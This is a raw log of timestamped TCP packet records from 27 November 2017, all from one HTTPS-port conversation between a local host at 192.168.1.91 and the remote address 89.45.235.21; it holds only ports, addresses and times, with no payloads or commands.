Nov 27, 2017 12:34:36.254344940 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.254420996 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.254436970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.265688896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.265902996 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.265933037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.268404961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.268428087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.268543005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.268568993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.275804996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.275842905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.275948048 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.275976896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.287168980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.287199020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.287527084 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.287561893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.299280882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.299316883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.299329996 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.299710035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.299755096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.306405067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.306438923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.306718111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.306749105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.314418077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.314446926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.314656973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.314682961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.315047026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.315068960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.315376997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.315392971 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.325413942 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.325445890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.325658083 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.325702906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.335114002 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.335135937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.335146904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.335237980 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.335264921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.338860035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.338885069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.338973999 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.338993073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.346931934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.346956015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.347052097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.347074032 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.350564003 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.350584984 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.350692987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.350716114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.390506983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.390527010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.390717983 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.390759945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.395212889 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.395235062 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.395337105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.395371914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.407979965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.408006907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.408097029 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.408119917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.442542076 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.442568064 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.442681074 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.442711115 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.476783991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.476955891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.476984978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.483995914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.484014988 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.484127998 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.484150887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.506494999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.506576061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.506659985 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.506676912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.506694078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.506710052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.507092953 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.507105112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.517616987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.517630100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.517844915 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.517872095 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.520910025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.520919085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.521286964 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.521302938 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.538912058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.538924932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.539294004 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.539313078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.581789017 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.581804037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.581809044 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.581918955 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.581938028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.599960089 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.599973917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.600078106 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.600106955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.631654024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.631669998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.631683111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.631752014 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.631773949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.632555962 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.632567883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.632725000 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.632739067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.667670965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.667696953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.668203115 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.668240070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.882980108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.883033037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.101599932 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.257479906 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.257515907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.257531881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.257698059 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.270687103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.277673006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.277688980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.277837992 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.277858973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.281935930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.281950951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.282063007 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.282078028 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.284869909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.284903049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.285000086 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.285013914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.291779995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.291795015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.291908979 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.291927099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.300074100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.300473928 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.300496101 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.302649975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.302692890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.303220987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.303256989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.303340912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.303363085 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.303678989 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.303704977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.310374975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.310383081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.310475111 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.310492039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.316304922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.316335917 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.316582918 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.316605091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.316911936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.325040102 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.325062990 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.325071096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.325280905 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.325304985 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.329077959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.329108000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.329323053 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.329349995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.334214926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.334240913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.334470987 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.334500074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.337210894 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.337233067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.337398052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.337429047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.342725992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.342762947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.342897892 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.342942953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.344443083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.344989061 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.345015049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.346293926 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.346316099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.346584082 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.346606970 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.347678900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.347703934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.348059893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.348079920 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.351742983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.351773977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.351919889 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.351950884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.353658915 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.353683949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.353794098 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.353827953 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.354873896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.354896069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.355118990 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.355149031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.360380888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.360411882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.360626936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.360661030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.363727093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.363754034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.364167929 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.364202023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.365235090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.365401983 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.365433931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.367324114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.367352009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.367499113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.367531061 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.369018078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.369049072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.369271994 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.369312048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.373971939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.374006987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.374152899 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.374186039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.376142025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.376176119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.376293898 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.376326084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.380296946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.380330086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.380554914 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.380578995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.383160114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.383191109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.383507013 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.383548021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.388519049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.388551950 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.388730049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.388751030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.390115976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.390126944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.390535116 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.390557051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.418587923 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.418747902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.418759108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.418785095 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.418817997 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.419382095 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.427375078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.427405119 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.427412987 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.427701950 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.444133043 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.444722891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.444737911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.444919109 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.444957972 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.446834087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.446861029 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.447030067 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.447057009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.479804993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.479965925 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.480010986 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.487036943 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.487078905 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.487252951 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.487297058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.502439976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.502468109 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.502679110 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.502690077 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.502696991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.502965927 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.502995014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.509217978 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.509244919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.509362936 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.509393930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.529675007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.529701948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.529903889 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.529954910 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.566353083 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.566374063 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.566529989 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.566574097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.570736885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.570760012 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.570883036 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.570919991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.576548100 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.576570034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.576685905 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.576719999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.593672037 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.593713999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.593894005 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.593950033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.600522995 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.600544930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.600666046 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.600713015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.617069960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.617099047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.617211103 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.617252111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.660237074 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.660269022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.660485983 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.660550117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.661822081 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.661845922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.661956072 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.661988974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.662342072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.662363052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.662760973 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.662802935 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.663876057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.663897991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.664036036 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.664064884 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.665358067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.665379047 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.665570974 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.665612936 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.665884018 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:37.666043997 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:37.666075945 CET	443	49165	89.45.235.21	192.168.1.91
